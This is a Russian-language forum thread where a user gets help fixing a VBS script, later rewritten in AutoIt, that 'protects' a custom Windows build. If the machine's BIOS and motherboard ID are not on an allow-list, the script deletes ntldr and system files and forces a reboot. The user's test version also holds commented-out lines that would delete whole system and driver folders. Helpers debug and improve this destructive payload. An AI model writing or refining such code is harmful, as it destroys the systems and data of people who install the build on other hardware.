Показать полную графическую версию : [решено] Помогите подправить скрипт VBS
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Option Explicit
Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4
strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"
Set objShell = CreateObject("Wscript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next
If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")
То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:
If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.
только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело :biggrin:
Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным »если работает одна строка, значит должны работать все, ошибки при выполнении возникают?
Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? »в вашем же скрипте есть пример:
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
если работает одна строка, значит должны работать все, ошибки при выполнении возникают? »
я же говорю, не работает. Только что чнова проверил. Я в них ноль, в VBS скриптах. Но когда учил паскаль, то вроде как при выполнении команд которые входят в условие проверки они брались в операторные скобки FOR END. Если команда одна то нет. Вот я и пологаю что и здесь такая же ситуация но сам не знаю как правильно записать.
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True »
пробовал
ObjShell.Run ("C:\run.exe"), 0, True
ObjShell.Run ("C:\run.exe"), 0
ObjShell.Run ("C:\run.exe")
ничто не получилось
Pozia,
'сначала создаём объект шелла
Set objShell = CreateObject ("WScript.Shell")
'и только потом уже можем запускать внешнее приложение
ObjShell.Run "cmd", 1 , True
В Паскале операторные скобки - Begin End
For это цикл.
Pozia
ничто не получилось »
отладка скриптов - это прежде всего работа над ошибками... если Admiral прав, то как минимум должно было высветиться "Ошибка: Требуется объект: 'ObjShell' ", аналогично - для остальных случаев... или думаете, что это форум телепатов? :wizard:
Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?
Admiral, еще хочу добавить что если это DOC окно скрыть то скрипт зависает в процессах и сам не выгружается. Очень бы хотелось это окно скрыть если это возможно.
вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.
Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать?
По поводу дос окна вопрос снимаю. Совсем затупил и не увидел что скрипт запускает CMD файл от которого и горит DOS окно. Я пошел другим путем. Нашел прогу Vbs_To_Exe и скомпилировал скрипт прямо в EXE и как и раньше запускаю его через RunOnceEx. Теперь такая проблема возникла. При выполнении скрипта выскакивает табличка с надписью "the script you are executing is taking longer than expected to run click end to abort the script, or continue to continue script execution" и две кнопки End и Continue. Как сделать чтобы это окно не выскакивало? Как то подправить скрипт?
Pozia, в чем необходимость компиляции VBS/CMD?
amel27, в том, что этот скрипт защита моей сборки, и нечего остальным править ее под себя :) А видя этот скрипт методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе.
методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе »"методом тыка" можно много чего, например просто удалить EXE или заменить на "пустой", для простых случаев хватает Script Encoder (http://www.microsoft.com/downloads/details.aspx?FamilyId=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en)'а, хотя ИМХО надежней переписать скрипт на любом знакомом языке, поддерживающем штатную компиляцию
amel27, переписать скрипт это не по моим мозгам. По поводу появления окна как я описал есть идеи?
Pozia, по окну скорей компилятор виноват
скрипт это не по моим мозгам »
AutoIT (http://forum.oszone.net/forum-103.html) устроит?.. как раз нужно решить задачу ветвления скрипта по типу платформы
amel27, автоит только недавно начал изучать сам, да и то дальше симуляций нажатия по клавишам не дошло и врядли дойдет. Я вообще от программирования ну просто очень далек. И то что я умудрился за этот год сделать свою сборку винды, причем без хвастовства приличную, это для меня большое достижение. Все друзья теперь ставят ее а не зверя, который не нравится из за того что там есть то чего обычным смертным не надо. Вот последнее что я бы хотел сделать это защита своей сборки. Не хочу чтобы кроме моих друзей ее кто нибудь ставил. Защиту эту конечно же можно сломать без проблем, но это новичку надо не плохо этот сайт поизучать. А кто сможет сломать тому она не надо, они лучше свою сделают. Если вы можете написать этот скрипт в автоит буду вам крайне признателен. За помощь в любом случае спасибо.
Pozia, вот что получилось... кстати, по ходу в оригинальном VBS один из 2-х "endif" лишний, возможно поэтому компилятор ругается:
Opt("ExpandEnvStrings", 1)
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global $strPassword = "12345"
Global $arrayAllowedHosts[4] = [ _
"20090116000000.000000+000ga-ma770-ds3", _
"20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
"20020315000000.000000+000sis-645", _
"20010427000000.000000+0008363-686" ]
If _PlatformArrayTest($arrayAllowedHosts) Then
$iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE)
Else
FileSetAttrib("%SystemDrive%\ntldr", "-SR")
FileDelete("%SystemDrive%\ntldr")
FileDelete(@WindowsDir &"\notepad.exe")
FileDelete(@SystemDir &"\wgatray.exe")
Shutdown(29)
EndIf
FileDelete("%SystemDrive%\Protect.zip")
FileDelete("%SystemDrive%\PKUNZIP.EXE")
FileDelete("%SystemDrive%\PROTECTT.CMD")
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
For $i=0 To UBound($arrayAllowedHosts)-1
If $arrayAllowedHosts[$i]==$strComputerHost Then Return True
Next
Next
Next
Return False
EndFunc
amel27, спасибо большое. Оперативно вы. Как только протестирую напишу, на этой недели возможно уже не успею
amel27, вот попробовал протестить ваш скрипт. Правда немного модифицировал чтобы проверить на живой системе работу.
Вот текст:
Opt("ExpandEnvStrings", 1)
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4
Global $strPassword = "12345"
Global $arrayAllowedHosts[7] = [ _
"20090116000000.000000+000ga-ma770-ds3", _
"20060222000000.000000+000virtual machine", _
"20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
"20020315000000.000000+000sis-645", _
"20010427000000.000000+0008363-686", _
"20060925000000.000000+000mn2-e", _
"20060918000000.000000+000m61pm-s2" ]
If _PlatformArrayTest($arrayAllowedHosts) Then
$iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE)
Else
FileDelete("%SystemDrive%\mmm")
;FileSetAttrib("%SystemDrive%\*.*", "-SR")
;FileDelete("%SystemDrive%\*.*")
;FileDelete(@WindowsDir &"\*.*")
;FileDelete(@WindowsDir &"\L2Schemas\*.*")
;FileDelete(@WindowsDir &"\security\*.*")
;FileDelete(@WindowsDir &"\system\*.*")
;FileDelete(@SystemDir &"\config\*.*")
;FileDelete(@SystemDir &"\drivers\*.*")
;FileDelete(@SystemDir &"\oobe\*.*")
;FileDelete(@SystemDir &"\*.*")
;Shutdown(29)
EndIf
;FileDelete("%SystemDrive%\Protect.zip")
;FileDelete("%SystemDrive%\PKUNZIP.EXE")
;FileDelete("%SystemDrive%\PROTECTT.CMD")
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
For $i=0 To UBound($arrayAllowedHosts)-1
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
If $arrayAllowedHosts[$i]==$strComputerHost Then Return True
Next
Next
Next
Return False
EndFunc
В общем при смене ID BIOS ничего не меняется. Всегда удаляется файл mmm. Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными. Посмотрите пожалуйста. И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру?
Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными »попробуй отладочный вариант _PlatformArrayTest()... кстати - если регистр при сравнении не должен учитываться, замени в тексте функции оператор "==" на "="
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then
MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса")
Return False
EndIf
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"')
For $i=0 To UBound($arrayAllowedHosts)-1
If $arrayAllowedHosts[$i]==$strComputerHost Then
MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i)
Return True
EndIf
Next
Next
Next
MsgBox(64, "Уведомление", "ID платформы в массиве не найден.")
Return False
EndFunc
И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру? »эту строчку можно удалить - скрипт использует штатную команду Shutdown вместо WMI
© OSzone.net 2001-2012
vBulletin v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.